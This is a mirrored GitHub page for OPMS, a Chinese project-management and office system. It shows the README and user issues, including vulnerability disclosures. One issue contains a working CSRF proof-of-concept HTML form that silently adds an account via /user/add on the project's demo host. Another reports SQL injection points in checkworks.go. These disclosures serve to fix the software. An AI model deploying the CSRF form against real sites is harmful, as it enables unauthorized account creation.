Giter Site home page Giter Site logo

opms's Introduction

OPMS

OPMS项目+OA管理系统

OPMS管理系统是意思是PMS+OA,项目+办公管理。符合日常项目和OA管理,特别适合扁平化管理的微中小企业。

OPMS采用是Beego框架和Bootstrap前端框架构建立,适合不同平台,不同的终端,简单方便实用的原则。数据库采用Mysql,缓存采用Redis。在部署过程中,如果没有Redis,不影响使用。

本系统是免费的软件,部署很方便。

OPMS的由来:

公司之前用的项目管理软件是禅道PMS,功能是很强大,学习成本也大。

在实际的项目应用中,有许多功能点都用不到或者很少用,可能它的系统是面向不同行业项目管理吧。

结合实际的项目要求和人事的日常工作经验要求,于是OPMS管理系统诞生了!

创新设计·全新功能 织蝶云新品上线

  1. 织蝶云项目管理 需求、任务、Bug、看板、思维导图、甘特图、日历、报表、列表多种任务视图

  2. 织蝶云客户CRM 客户、公海、线索、商机、合同、售后、目标、统计多种嵌套功能

  3. 织蝶云审批流程 智能工作流程及表单设计,自定权限控制,让每个流程实现自动化

  4. 织蝶云工作报告 人性化的报告展示,轻松解决日报、周报、月报发布审阅,智能统计报告

  5. OA管理 考勤、日程、文档 、知识、相册、人事简历、公告、IM聊天等丰富的功能

OPMS官网:

http://opms.milu365.cn/

手册文档:

http://opms.docs.milu365.cn/

在线体验:

http://opms.demo.milu365.cn/

加QQ群(871221961)获取用户名和密码

技术讨论群:

QQ群1(已满):451420312

QQ群2(已满):592130397

QQ群3(已满):651479008

QQ群4(已满):660307579

QQ群5(已满): 753661431

QQ群6: 871221961

捐赠

支付宝:

image

微信:

image

效果图预览

image

opms's People

Contributors

lock-upme avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

opms's Issues

源代码版本库

请问OPMS的依赖包可以一起发放吗?我发现clone下来之后有些代码需要引用的包不存在去github下载也是404了。比如github.com/BurntSushi/graphics-go/graphics

消息小红点

小红点很重要,以前做OA的时候,领导对这个小红点需求屡次提出:我不可能每次都进入每个模块看看有没有新内容!

Trying to get in touch regarding a security issue

Hey there!

I belong to an open source security research community, and a member (@AFKL-CUIT) has found an issue, but doesn’t know the best way to disclose it.

If not a hassle, might you kindly add a SECURITY.md file with an email, or another contact method? GitHub recommends this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.

Thank you for your consideration, and I look forward to hearing from you!

(cc @huntr-helper)

This project has multiple sql injection vulnerabilities.

图片
I have scanned this project using codeql. There are 7 places in the opms\models\checkworks\checkworks.go file where sql injection can be performed.

Here are two examples of them.

图片
In lines 30 and 31 of the opms\controller\checkworks\checkworks.go file, the system gets the type and date GET parameters and passes them into the ListCheckwork function.

图片
Then the parameters are dynamically spliced strings, leading to sql injection.

Other places that can cause sql injection are.

id filepath lineNum
1 opms/models/checkworks/checkworks.go 35
2 opms/models/checkworks/checkworks.go 38
3 opms/models/checkworks/checkworks.go 66
4 opms/models/checkworks/checkworks.go 69
5 opms/models/checkworks/checkworks.go 128
6 opms/models/checkworks/checkworks.go 147
7 opms/models/checkworks/checkworks.go 167

增加与gogs对接

看了改项目,感觉很不错,很简洁!
系统能与gogs这样的代码库关联。

There is one CSRF vulnerability that can add the account

Place of backstage set up Organization management exists Csrf Vulnerability,attacker Structure a csrf payload,Once the administrator clicks on the malicious link, add a user

CSRF Exp:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://opms.demo.milu365.cn/user/add" method="POST">
      <input type="hidden" name="username" value="lisi" />
      <input type="hidden" name="password" value="a1234567" />
      <input type="hidden" name="depart" value="1462290164626094232" />
      <input type="hidden" name="position" value="1462292006260420932" />
      <input type="hidden" name="realname" value="lisi" />
      <input type="hidden" name="sex" value="1" />
      <input type="hidden" name="birth" value="2019&#45;10&#45;14" />
      <input type="hidden" name="email" value="123&#64;qq&#46;com" />
      <input type="hidden" name="webchat" value="" />
      <input type="hidden" name="qq" value="" />
      <input type="hidden" name="phone" value="13800138000" />
      <input type="hidden" name="tel" value="" />
      <input type="hidden" name="address" value="" />
      <input type="hidden" name="emercontact" value="lxr" />
      <input type="hidden" name="emerphone" value="13800138000" />
      <input type="hidden" name="id" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

We can construct the csrf code, so that after the webmaster clicks on the malicious link of the attacker, it will execute csrf, As long as the administrator visits can add user.
image
image

员工不能删除、知识也不能删除?

各种不能删除?
没找到删除员工和知识以及相册里面的照片的。
如果只能屏蔽员工的话,审批的时候仍然可以选择这个离职的人,如果这审核的人离职了,这审批流程就走不动了.不就耽误了审批时间?
这个知识可能就成了随便写的东西,不让删除多尴尬?

另外:
当时觉得请假可以请,就提交了,然后过1分钟后就觉得哪里不对,然后想在未审批之前自己取消请假不行?

审批权限改了不生效。重启OPMS都没生效。

请假之类的日期天数不能自动计算。

头像不能从相册里面选择?

权限管理更新错误

func (this *ManageGroupPermissionController) Post() {
在这个函数中, 在for循环中使用了SnowFlakeId来生成id
但实际使用过程中发现, 如果更新太快, 会导致snowFlakeid获取的id重复, 导致设置权限失败

看了一下snowFlakeid, 发现这个东西是根据当前毫秒级时间戳+线程id+序号
由于每次都生成新的序号, 导致在同已毫秒内获取到的id都是一样的,建议对Util的SnowFlakeId进行修改

由于没有时间测试, 所以我简单处理了一下,目前我的解决方案是
iw, _ := goSnowFlake.NewIdWorker(1)
for _, v := range names {
pid, _ := strconv.Atoi(v)
id, err := iw.NextId()
if err != nil {
id, _ = iw.NextId()
}
groupPermission.Id = id
groupPermission.Permissionid = int64(pid)
err = AddGroupsPermission(groupPermission)
}

几点建议

  • 知识分享模块中分享的内容建议按照时间线倒序放置,这样能够总是看到新发布的内容
  • 需求模块中添加的附件只能在“编辑模式”下才能预览下载,是否是bug
  • 自定义头像时,使用自己上传的图片,保存不成功

文件上传的问题

比如针对albums的多图片上传,经测试目前不支持中文文件名,一旦使用含有中文的图片名,运行时服务器端会报错:slice越界。经提示,问题出在:
ext := utils.SubString(filename, strings.LastIndex(filename, "."), 5)
可能是由于文件名不是utf8编码引起的,做如下处理后,正常:
ext := utils.SubString(utils.Unicode(filename), strings.LastIndex(utils.Unicode(filename), "."), 5)
请作者测试验证。

点击表的单个字段可以实现排序

试用了一翻,细节有待加强
应该通过JS,或,在beego后台对每一张表,当用户如果单击某个字段名时,则以这个字段名对记录排序; :)

数组去重算法bug

调用RemoveDuplicatesAndEmpty函数,结果中有两个相同的数据

if (i > 1 && a[i-1] == a[i]) || len(a[i]) == 0
应该改为
if (i >= 1 && a[i-1] == a[i]) || len(a[i]) == 0

项目这块建议再优化一下

产品、项目、测试分开

各司其职,按如下关系划分:

  • 产品-需求
  • 项目-任务-子任务
  • 测试-用例-bug
    这样产品经理只需要管需求,项目经理只需要管任务,品控只需要管用例。
    任务和用例没有单独的创建入口,都从需求处创建,这样动了需求对应要调整的任务和用例也一目了然。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.